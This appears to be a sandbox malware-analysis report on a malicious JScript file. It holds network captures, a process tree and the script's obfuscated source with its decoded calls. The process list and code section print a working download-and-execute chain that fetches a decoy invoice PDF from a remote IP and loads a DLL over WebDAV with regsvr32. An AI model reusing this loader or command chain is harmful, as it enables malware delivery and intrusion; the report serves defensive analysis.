Jan 10, 2025 14:58:03.221292019 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 14:58:03.221302032 CET	1000	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 10, 2025 14:58:03.221343040 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 10, 2025 14:58:03.221353054 CET	272	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%
Jan 10, 2025 14:58:03.278575897 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7888	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 14:58:05.019021034 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 14:58:05.832386017 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 13:58:05 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	08:57:58
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1136121895118314851.js"
Imagebase:	0x7ff6fb7a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:57:58
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll
Imagebase:	0x7ff659500000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:57:58
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:57:58
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:58:03
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	08:58:03
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff659500000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:58:03
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6c5480000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:58:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	08:58:04
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	08:58:04
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1708,i,10986945623531913614,13893903923946202493,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function hocowht() {	hocowht() ➔ undefined
1	vdusjf = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var knjgp = this[ajyjue + kpcghetra + zpvtefhtv + hxgcngoco + mmkxlrc + sljao + hmufjpy + zxiih] ( this[mztwn + reaay + wdvtl + zpvtefhtv + gyjdzrtp + ajyjue + zxiih][qxvuzyfb + zpvtefhtv + mmkxlrc + kpcghetra + zxiih + mmkxlrc + hnzicfzg + xamcfg + nqjewtj + mmkxlrc + wdvtl + zxiih] ( mztwn + reaay + wdvtl + zpvtefhtv + gyjdzrtp + ajyjue + zxiih + zwkwxqj + reaay + bjtwopyts + mmkxlrc + xpyfsdln + xpyfsdln ) [xbxjlgs + mmkxlrc + bartzt + xbxjlgs + mmkxlrc + kpcghetra + fncabdb] ( dxxjnwh + xfcvmrtze + itztgtdn + qjcrg + ubeyz + qxvuzyfb + fhexhl + xbxjlgs + xbxjlgs + itztgtdn + assiqzxl + rzhfqqvx + ubeyz + fhexhl + reaay + itztgtdn + xbxjlgs + dyzcku + qxvuzyfb + rhynf + hmufjpy + zxiih + zpvtefhtv + rhynf + xpyfsdln + wfahnwf + bdjrg + kpcghetra + hmufjpy + mmkxlrc + xpyfsdln + dyzcku + sljao + hmufjpy + zxiih + mmkxlrc + zpvtefhtv + hmufjpy + kpcghetra + zxiih + gyjdzrtp + rhynf + hmufjpy + kpcghetra + xpyfsdln + dyzcku + iozro + rhynf + wdvtl + kpcghetra + xpyfsdln + mmkxlrc ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( tzuouvyh = 0 ; tzuouvyh < vdusjf[xpyfsdln + mmkxlrc + hmufjpy + bartzt + zxiih + bjtwopyts] ; ++ tzuouvyh )
4	{
5	if ( knjgp == vdusjf[tzuouvyh] )
6	{
7	knjgp = true;
8	break ;
9	}
10	}
11	if ( knjgp !== true )
12	this[mztwn + reaay + wdvtl + zpvtefhtv + gyjdzrtp + ajyjue + zxiih][ewhffi + gjtmpp + gyjdzrtp + zxiih] ( );
13	this[mztwn + reaay + wdvtl + zpvtefhtv + gyjdzrtp + ajyjue + zxiih][qxvuzyfb + zpvtefhtv + mmkxlrc + kpcghetra + zxiih + mmkxlrc + hnzicfzg + xamcfg + nqjewtj + mmkxlrc + wdvtl + zxiih] ( mztwn + reaay + wdvtl + zpvtefhtv + gyjdzrtp + ajyjue + zxiih + zwkwxqj + reaay + bjtwopyts + mmkxlrc + xpyfsdln + xpyfsdln ) [zpvtefhtv + gjtmpp + hmufjpy] ( wdvtl + xnxxbpb + fncabdb + wfahnwf + zpfmhhgm + wdvtl + wfahnwf + ajyjue + rhynf + qkivi + mmkxlrc + zpvtefhtv + hxgcngoco + bjtwopyts + mmkxlrc + xpyfsdln + xpyfsdln + zwkwxqj + mmkxlrc + elsjkemc + mmkxlrc + wfahnwf + uowxzyx + qxvuzyfb + rhynf + xnxxbpb + xnxxbpb + kpcghetra + hmufjpy + fncabdb + wfahnwf + rblwnpdhv + sljao + hmufjpy + tuaaevm + rhynf + oudnbkn + mmkxlrc + uowxzyx + mztwn + mmkxlrc + xamcfg + xbxjlgs + mmkxlrc + fjnsdy + gjtmpp + mmkxlrc + hxgcngoco + zxiih + wfahnwf + uowxzyx + hnzicfzg + gjtmpp + zxiih + vmmcjmnc + gyjdzrtp + xpyfsdln + mmkxlrc + wfahnwf + zgezcx + zxiih + mmkxlrc + xnxxbpb + ajyjue + zgezcx + dyzcku + gyjdzrtp + hmufjpy + tuaaevm + rhynf + gyjdzrtp + wdvtl + mmkxlrc + zwkwxqj + ajyjue + fncabdb + zwzja + wfahnwf + bjtwopyts + zxiih + zxiih + ajyjue + vakndb + zpfmhhgm + zpfmhhgm + yoldn + eqixyhds + jhcvanh + zwkwxqj + yoldn + pwslbaxj + jhcvanh + zwkwxqj + yoldn + zwkwxqj + uzcbtzgpm + fuxlofpgm + vpgoivyr + zpfmhhgm + gyjdzrtp + hmufjpy + tuaaevm + rhynf + gyjdzrtp + wdvtl + mmkxlrc + zwkwxqj + ajyjue + bjtwopyts + ajyjue + rblwnpdhv + kdpivv + kdpivv + hxgcngoco + zxiih + kpcghetra + zpvtefhtv + zxiih + wfahnwf + zgezcx + zxiih + mmkxlrc + xnxxbpb + ajyjue + zgezcx + dyzcku + gyjdzrtp + hmufjpy + tuaaevm + rhynf + gyjdzrtp + wdvtl + mmkxlrc + zwkwxqj + ajyjue + fncabdb + zwzja + kdpivv + kdpivv + wdvtl + xnxxbpb + fncabdb + wfahnwf + zpfmhhgm + wdvtl + wfahnwf + hmufjpy + mmkxlrc + zxiih + wfahnwf + gjtmpp + hxgcngoco + mmkxlrc + wfahnwf + dyzcku + dyzcku + yoldn + eqixyhds + jhcvanh + zwkwxqj + yoldn + pwslbaxj + jhcvanh + zwkwxqj + yoldn + zwkwxqj + uzcbtzgpm + fuxlofpgm + vpgoivyr + fnzynr + cfdgksmp + cfdgksmp + cfdgksmp + cfdgksmp + dyzcku + fncabdb + kpcghetra + tuaaevm + qkivi + qkivi + qkivi + zpvtefhtv + rhynf + rhynf + zxiih + dyzcku + kdpivv + kdpivv + wdvtl + xnxxbpb + fncabdb + wfahnwf + zpfmhhgm + wdvtl + wfahnwf + zpvtefhtv + mmkxlrc + bartzt + hxgcngoco + tuaaevm + zpvtefhtv + jhcvanh + uzcbtzgpm + wfahnwf + zpfmhhgm + hxgcngoco + wfahnwf + dyzcku + dyzcku + yoldn + eqixyhds + jhcvanh + zwkwxqj + yoldn + pwslbaxj + jhcvanh + zwkwxqj + yoldn + zwkwxqj + uzcbtzgpm + fuxlofpgm + vpgoivyr + fnzynr + cfdgksmp + cfdgksmp + cfdgksmp + cfdgksmp + dyzcku + fncabdb + kpcghetra + tuaaevm + qkivi + qkivi + qkivi + zpvtefhtv + rhynf + rhynf + zxiih + dyzcku + jhcvanh + yoldn + eqixyhds + cvfleqvl + pwslbaxj + yoldn + eqixyhds + nirqdr + pwslbaxj + vpgoivyr + uzcbtzgpm + vpgoivyr + cfdgksmp + uzcbtzgpm + cfdgksmp + zwkwxqj + fncabdb + xpyfsdln + xpyfsdln, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll",0,false) ➔ 0
14	}
15	bartzt = "P";
16	bartzt = "W";
17	bartzt = "p";
18	bartzt = "J";
19	bartzt = "L";
20	bartzt = "K";
21	bartzt = "I";
22	bartzt = "M";
23	bartzt = "d";
24	bartzt = "g";
25	bartzt = "y";
26	bartzt = "S";
27	bartzt = "N";
28	bartzt = "K";
29	bartzt = "f";
30	bartzt = "V";
31	bartzt = "y";
32	bartzt = "d";
33	bartzt = "W";
34	bartzt = "X";
35	bartzt = "y";
36	bartzt = "O";
37	bartzt = "Q";
38	bartzt = "X";
39	bartzt = "e";
40	bartzt = "y";
41	bartzt = "Y";
42	bartzt = "F";
43	bartzt = "D";
44	bartzt = "r";
45	bartzt = "e";
46	bartzt = "X";
47	bartzt = "f";
48	bartzt = "g";
49	iozro = "q";
50	iozro = "Z";
51	iozro = "Z";
52	iozro = "F";
53	iozro = "k";
54	iozro = "C";
55	iozro = "n";
56	iozro = "W";
57	iozro = "Y";
58	iozro = "I";
59	iozro = "a";
60	iozro = "b";
61	iozro = "n";
62	iozro = "f";
63	iozro = "k";
64	iozro = "L";
65	rzhfqqvx = "y";
66	rzhfqqvx = "I";
67	rzhfqqvx = "s";
68	rzhfqqvx = "j";
69	rzhfqqvx = "e";
70	rzhfqqvx = "d";
71	rzhfqqvx = "L";
72	rzhfqqvx = "Q";
73	rzhfqqvx = "d";
74	rzhfqqvx = "H";
75	rzhfqqvx = "X";
76	rzhfqqvx = "I";
77	rzhfqqvx = "q";
78	rzhfqqvx = "T";
79	hmufjpy = "Q";
80	hmufjpy = "e";
81	hmufjpy = "L";
82	hmufjpy = "Y";
83	hmufjpy = "F";
84	hmufjpy = "S";
85	hmufjpy = "U";
86	hmufjpy = "V";
87	hmufjpy = "K";
88	hmufjpy = "A";
89	hmufjpy = "a";
90	hmufjpy = "p";
91	hmufjpy = "W";
92	hmufjpy = "T";
93	hmufjpy = "I";
94	hmufjpy = "g";
95	hmufjpy = "f";
96	hmufjpy = "c";
97	hmufjpy = "y";
98	hmufjpy = "m";
99	hmufjpy = "f";
100	hmufjpy = "b";
101	hmufjpy = "b";
102	hmufjpy = "U";
103	hmufjpy = "r";
104	hmufjpy = "q";
105	hmufjpy = "Z";
106	hmufjpy = "c";
107	hmufjpy = "v";
108	hmufjpy = "w";
109	hmufjpy = "s";
110	hmufjpy = "D";
111	hmufjpy = "H";
112	hmufjpy = "x";
113	hmufjpy = "L";
114	hmufjpy = "U";
115	hmufjpy = "x";
116	hmufjpy = "l";
117	hmufjpy = "c";
118	hmufjpy = "E";
119	hmufjpy = "F";
120	hmufjpy = "k";
121	hmufjpy = "d";
122	hmufjpy = "a";
123	hmufjpy = "n";
124	bjtwopyts = "y";
125	bjtwopyts = "b";
126	bjtwopyts = "R";
127	bjtwopyts = "z";
128	bjtwopyts = "x";
129	bjtwopyts = "w";
130	bjtwopyts = "b";
131	bjtwopyts = "t";
132	bjtwopyts = "D";
133	bjtwopyts = "T";
134	bjtwopyts = "h";
135	vpgoivyr = "f";
136	vpgoivyr = "E";
137	vpgoivyr = "z";
138	vpgoivyr = "a";
139	vpgoivyr = "J";
140	vpgoivyr = "a";
141	vpgoivyr = "K";
142	vpgoivyr = "F";
143	vpgoivyr = "p";
144	vpgoivyr = "X";
145	vpgoivyr = "k";
146	vpgoivyr = "V";
147	vpgoivyr = "T";
148	vpgoivyr = "T";
149	vpgoivyr = "I";
150	vpgoivyr = "o";
151	vpgoivyr = "I";
152	vpgoivyr = "x";
153	vpgoivyr = "b";
154	vpgoivyr = "S";
155	vpgoivyr = "V";
156	vpgoivyr = "p";
157	vpgoivyr = "i";
158	vpgoivyr = "a";
159	vpgoivyr = "h";
160	vpgoivyr = "w";
161	vpgoivyr = "G";
162	vpgoivyr = "q";
163	vpgoivyr = "J";
164	vpgoivyr = "I";
165	vpgoivyr = "t";
166	vpgoivyr = "V";
167	vpgoivyr = "Y";
168	vpgoivyr = "C";
169	vpgoivyr = "e";
170	vpgoivyr = "M";
171	vpgoivyr = "m";
172	vpgoivyr = "a";
173	vpgoivyr = "5";
174	vakndb = "n";
175	vakndb = "u";
176	vakndb = "G";
177	vakndb = "x";
178	vakndb = "H";
179	vakndb = "U";
180	vakndb = "d";
181	vakndb = "C";
182	vakndb = "e";
183	vakndb = "p";
184	vakndb = "F";
185	vakndb = "W";
186	vakndb = "i";
187	vakndb = "T";
188	vakndb = "b";
189	vakndb = "h";
190	vakndb = "p";
191	vakndb = "v";
192	vakndb = "P";
193	vakndb = "F";
194	vakndb = "S";
195	vakndb = "I";
196	vakndb = "j";
197	vakndb = "x";
198	vakndb = "R";
199	vakndb = "H";
200	vakndb = "d";
201	vakndb = "N";
202	vakndb = "F";
203	vakndb = "i";
204	vakndb = "T";
205	vakndb = "k";
206	vakndb = "G";
207	vakndb = "F";
208	vakndb = "X";
209	vakndb = "s";
210	vakndb = "l";
211	vakndb = "w";
212	vakndb = "s";
213	vakndb = "M";
214	vakndb = "a";
215	vakndb = "e";
216	vakndb = ":";
217	fuxlofpgm = "S";
218	fuxlofpgm = "j";
219	fuxlofpgm = "o";
220	fuxlofpgm = "s";
221	fuxlofpgm = "Z";
222	fuxlofpgm = "B";
223	fuxlofpgm = "L";
224	fuxlofpgm = "w";
225	fuxlofpgm = "Y";
226	fuxlofpgm = "m";
227	fuxlofpgm = "g";
228	fuxlofpgm = "m";
229	fuxlofpgm = "o";
230	fuxlofpgm = "U";
231	fuxlofpgm = "D";
232	fuxlofpgm = "h";
233	fuxlofpgm = "K";
234	fuxlofpgm = "v";
235	fuxlofpgm = "c";
236	fuxlofpgm = "A";
237	fuxlofpgm = "W";
238	fuxlofpgm = "l";
239	fuxlofpgm = "S";
240	fuxlofpgm = "t";
241	fuxlofpgm = "f";
242	fuxlofpgm = "e";
243	fuxlofpgm = "G";
244	fuxlofpgm = "r";
245	fuxlofpgm = "T";
246	fuxlofpgm = "L";
247	fuxlofpgm = "S";
248	fuxlofpgm = "A";
249	fuxlofpgm = "I";
250	fuxlofpgm = "i";
251	fuxlofpgm = "f";
252	fuxlofpgm = "q";
253	fuxlofpgm = "P";
254	fuxlofpgm = "D";
255	fuxlofpgm = "y";
256	fuxlofpgm = "x";
257	fuxlofpgm = "t";
258	fuxlofpgm = "D";
259	fuxlofpgm = "z";
260	fuxlofpgm = "T";
261	fuxlofpgm = "0";
262	yoldn = "w";
263	yoldn = "k";
264	yoldn = "l";
265	yoldn = "d";
266	yoldn = "x";
267	yoldn = "t";
268	yoldn = "D";
269	yoldn = "B";
270	yoldn = "o";
271	yoldn = "O";
272	yoldn = "s";
273	yoldn = "m";
274	yoldn = "J";
275	yoldn = "H";
276	yoldn = "E";
277	yoldn = "Y";
278	yoldn = "W";
279	yoldn = "T";
280	yoldn = "K";
281	yoldn = "B";
282	yoldn = "R";
283	yoldn = "Q";
284	yoldn = "v";
285	yoldn = "c";
286	yoldn = "W";
287	yoldn = "F";
288	yoldn = "N";
289	yoldn = "V";
290	yoldn = "p";
291	yoldn = "R";
292	yoldn = "e";
293	yoldn = "L";
294	yoldn = "j";
295	yoldn = "e";
296	yoldn = "F";
297	yoldn = "f";
298	yoldn = "O";
299	yoldn = "A";
300	yoldn = "q";
301	yoldn = "I";
302	yoldn = "1";
303	rhynf = "N";
304	rhynf = "V";
305	rhynf = "B";
306	rhynf = "n";
307	rhynf = "x";
308	rhynf = "B";
309	rhynf = "o";
310	xnxxbpb = "r";
311	xnxxbpb = "V";
312	xnxxbpb = "c";
313	xnxxbpb = "E";
314	xnxxbpb = "x";
315	xnxxbpb = "C";
316	xnxxbpb = "h";
317	xnxxbpb = "l";
318	xnxxbpb = "N";
319	xnxxbpb = "f";
320	xnxxbpb = "i";
321	xnxxbpb = "W";
322	xnxxbpb = "H";
323	xnxxbpb = "d";
324	xnxxbpb = "z";
325	xnxxbpb = "w";
326	xnxxbpb = "B";
327	xnxxbpb = "Q";
328	xnxxbpb = "S";
329	xnxxbpb = "I";
330	xnxxbpb = "P";
331	xnxxbpb = "J";
332	xnxxbpb = "m";
333	fnzynr = "y";
334	fnzynr = "k";
335	fnzynr = "d";
336	fnzynr = "Q";
337	fnzynr = "t";
338	fnzynr = "S";
339	fnzynr = "Q";
340	fnzynr = "K";
341	fnzynr = "g";
342	fnzynr = "J";
343	fnzynr = "T";
344	fnzynr = "J";
345	fnzynr = "T";
346	fnzynr = "d";
347	fnzynr = "P";
348	fnzynr = "Z";
349	fnzynr = "m";
350	fnzynr = "C";
351	fnzynr = "Z";
352	fnzynr = "D";
353	fnzynr = "C";
354	fnzynr = "y";
355	fnzynr = "K";
356	fnzynr = "C";
357	fnzynr = "v";
358	fnzynr = "Q";
359	fnzynr = "w";
360	fnzynr = "k";
361	fnzynr = "v";
362	fnzynr = "C";
363	fnzynr = "Y";
364	fnzynr = "@";
365	ajyjue = "s";
366	ajyjue = "Z";
367	ajyjue = "l";
368	ajyjue = "R";
369	ajyjue = "s";
370	ajyjue = "u";
371	ajyjue = "B";
372	ajyjue = "G";
373	ajyjue = "p";
374	mztwn = "r";
375	mztwn = "h";
376	mztwn = "u";
377	mztwn = "F";
378	mztwn = "O";
379	mztwn = "Q";
380	mztwn = "Y";
381	mztwn = "Y";
382	mztwn = "h";
383	mztwn = "O";
384	mztwn = "g";
385	mztwn = "m";
386	mztwn = "N";
387	mztwn = "M";
388	mztwn = "k";
389	mztwn = "I";
390	mztwn = "q";
391	mztwn = "P";
392	mztwn = "g";
393	mztwn = "i";
394	mztwn = "q";
395	mztwn = "l";
396	mztwn = "c";
397	mztwn = "N";
398	mztwn = "a";
399	mztwn = "f";
400	mztwn = "A";
401	mztwn = "j";
402	mztwn = "v";
403	mztwn = "C";
404	mztwn = "T";
405	mztwn = "g";
406	mztwn = "T";
407	mztwn = "W";
408	zwzja = "b";
409	zwzja = "U";
410	zwzja = "v";
411	zwzja = "x";
412	zwzja = "O";
413	zwzja = "z";
414	zwzja = "r";
415	zwzja = "T";
416	zwzja = "S";
417	zwzja = "u";
418	zwzja = "J";
419	zwzja = "w";
420	zwzja = "B";
421	zwzja = "g";
422	zwzja = "c";
423	zwzja = "U";
424	zwzja = "j";
425	zwzja = "U";
426	zwzja = "z";
427	zwzja = "y";
428	zwzja = "m";
429	zwzja = "t";
430	zwzja = "H";
431	zwzja = "B";
432	zwzja = "I";
433	zwzja = "Z";
434	zwzja = "t";
435	zwzja = "s";
436	zwzja = "k";
437	zwzja = "p";
438	zwzja = "f";
439	bdjrg = "I";
440	bdjrg = "K";
441	bdjrg = "p";
442	bdjrg = "W";
443	bdjrg = "u";
444	bdjrg = "O";
445	bdjrg = "k";
446	bdjrg = "j";
447	bdjrg = "s";
448	bdjrg = "Z";
449	bdjrg = "t";
450	bdjrg = "W";
451	bdjrg = "O";
452	bdjrg = "A";
453	bdjrg = "c";
454	bdjrg = "P";
455	bdjrg = "W";
456	bdjrg = "g";
457	bdjrg = "C";
458	bdjrg = "M";
459	bdjrg = "B";
460	bdjrg = "A";
461	bdjrg = "M";
462	bdjrg = "R";
463	bdjrg = "N";
464	bdjrg = "E";
465	bdjrg = "i";
466	bdjrg = "r";
467	bdjrg = "P";
468	elsjkemc = "N";
469	elsjkemc = "M";
470	elsjkemc = "m";
471	elsjkemc = "q";
472	elsjkemc = "X";
473	elsjkemc = "E";
474	elsjkemc = "J";
475	elsjkemc = "i";
476	elsjkemc = "J";
477	elsjkemc = "o";
478	elsjkemc = "Y";
479	elsjkemc = "X";
480	elsjkemc = "h";
481	elsjkemc = "Y";
482	elsjkemc = "q";
483	elsjkemc = "y";
484	elsjkemc = "f";
485	elsjkemc = "o";
486	elsjkemc = "l";
487	elsjkemc = "W";
488	elsjkemc = "P";
489	elsjkemc = "q";
490	elsjkemc = "m";
491	elsjkemc = "J";
492	elsjkemc = "K";
493	elsjkemc = "T";
494	elsjkemc = "A";
495	elsjkemc = "u";
496	elsjkemc = "L";
497	elsjkemc = "D";
498	elsjkemc = "G";
499	elsjkemc = "K";
500	elsjkemc = "a";
501	elsjkemc = "q";
502	elsjkemc = "z";
503	elsjkemc = "x";
504	reaay = "F";
505	reaay = "s";
506	reaay = "X";
507	reaay = "d";
508	reaay = "f";
509	reaay = "T";
510	reaay = "Q";
511	reaay = "Q";
512	reaay = "w";
513	reaay = "q";
514	reaay = "g";
515	reaay = "X";
516	reaay = "L";
517	reaay = "V";
518	reaay = "s";
519	reaay = "H";
520	reaay = "n";
521	reaay = "O";
522	reaay = "V";
523	reaay = "J";
524	reaay = "e";
525	reaay = "I";
526	reaay = "P";
527	reaay = "V";
528	reaay = "y";
529	reaay = "S";
530	hnzicfzg = "m";
531	hnzicfzg = "n";
532	hnzicfzg = "t";
533	hnzicfzg = "t";
534	hnzicfzg = "U";
535	hnzicfzg = "U";
536	hnzicfzg = "w";
537	hnzicfzg = "g";
538	hnzicfzg = "O";
539	hnzicfzg = "R";
540	hnzicfzg = "z";
541	hnzicfzg = "I";
542	hnzicfzg = "r";
543	hnzicfzg = "X";
544	hnzicfzg = "t";
545	hnzicfzg = "N";
546	hnzicfzg = "E";
547	hnzicfzg = "y";
548	hnzicfzg = "T";
549	hnzicfzg = "E";
